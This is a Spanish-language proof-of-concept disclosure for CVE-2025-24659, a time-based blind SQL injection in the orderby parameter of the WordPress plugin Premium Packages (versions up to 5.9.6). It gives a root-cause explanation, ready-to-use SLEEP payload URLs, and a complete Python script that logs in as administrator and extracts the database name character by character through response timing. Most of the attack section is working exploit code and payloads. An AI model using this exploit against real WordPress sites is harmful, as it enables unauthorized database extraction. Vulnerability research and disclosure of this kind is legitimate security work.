
PoC de CVE-2025-24659
Plugin de WordPress
Nombre del componente Premium Packages – Sell Digital Products Securely
Versión vulnerable <= 5.9.6
Slug del componente wpdm-premium-packages
Enlace del componente https://wordpress.org/plugins/wpdm-premium-packages/
Clase de vulnerabilidad A3: Inyección
Tipo de vulnerabilidad Inyección SQL
Administrador
Existe una vulnerabilidad de Inyección SQL en las versiones 5.9.6 e inferiores del plugin Premium Packages - Sell Digital Products Securely (en adelante, plugin Premium Packages). Esto ocurre debido a un escapado insuficiente del parámetro URL orderby al visualizar la lista de pedidos en el menú de pedidos del panel del plugin (/wp-admin/edit.php?post_type=wpdmpro&page=orders).
Como resultado, un atacante con privilegios de administrador puede explotar esta vulnerabilidad para acceder a toda la información almacenada en la base de datos del sitio objetivo.
Además, si bien esta vulnerabilidad de Inyección SQL no permite la extracción directa de datos a partir de los datos de respuesta, la información se puede extraer mediante técnicas de Inyección SQL Ciega Basada en Tiempo que aprovechan la diferencia en los tiempos de respuesta según condiciones verdaderas/falsas en las consultas SQL.
Inicie sesión como administrador en un sitio WordPress donde el plugin Premium Packages esté instalado y activado.
Dado que el plugin Premium Packages es un complemento para el plugin Download Manager (https://wordpress.org/plugins/download-manager/), el plugin Download Manager también debe estar instalado y activado.
Después de acceder a la URL siguiente, la condición de la consulta SQL (1=1) siempre será verdadera, lo que provocará que la página se muestre después de 5 segundos debido a la función SLEEP(5).
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2) siempre es falsa, la página se muestra inmediatamente.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

Al solicitar el panel de lista de pedidos del plugin Premium Packages, se ejecuta el archivo /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php.
En este punto, el valor del parámetro URL orderby se asigna a la variable $orderby sin el escapado adecuado. Posteriormente, la variable $orderby se pasa a la variable $qry y completa la cláusula order by en la consulta SQL.

Luego, la variable $qry se pasa como argumento a las funciones totalOrders y GetAllOrders.
Estas funciones están definidas en el archivo /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php, y el valor del argumento recibido se utiliza directamente en las consultas a la base de datos.

Por lo tanto, dado que el valor del parámetro URL orderby se utiliza directamente en las consultas a la base de datos sin escapado, se produce una vulnerabilidad de Inyección SQL.

Luego introduzca el siguiente comando para ejecutar el código PoC.
Módulos necesariosrequests
python poc.py

import re
import time
import string
import requests
## Para configurar un proxy, introduzca la dirección del servidor a continuación.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Sesión iniciada correctamente con la cuenta {login_id}.")
return session
else:
raise Exception(f"[-] Error al iniciar sesión.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- La longitud del nombre de la base de datos es mayor que {length}.")
length += 1
else:
print(f" |- Longitud del nombre de la base de datos: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Nombre de la base de datos: {db_name.ljust(db_length, '*')}")
break
print(f" |- Nombre de la base de datos extraído correctamente: {db_name}")
def poc():
####
## 1. Iniciar sesión como administrador
####
print(f"[+] Iniciando sesión con cuenta de administrador.")
print(f" |- Cuenta: {ADMIN_ID}, Contraseña: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Obtener la longitud del nombre de la base de datos
###
print(f"[+] Obteniendo la longitud del nombre de la base de datos.")
db_length = poc_get_db_length(admin_session)
###
## 3. Obtener el nombre de la base de datos
###
print(f"[+] Obteniendo el nombre de la base de datos.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()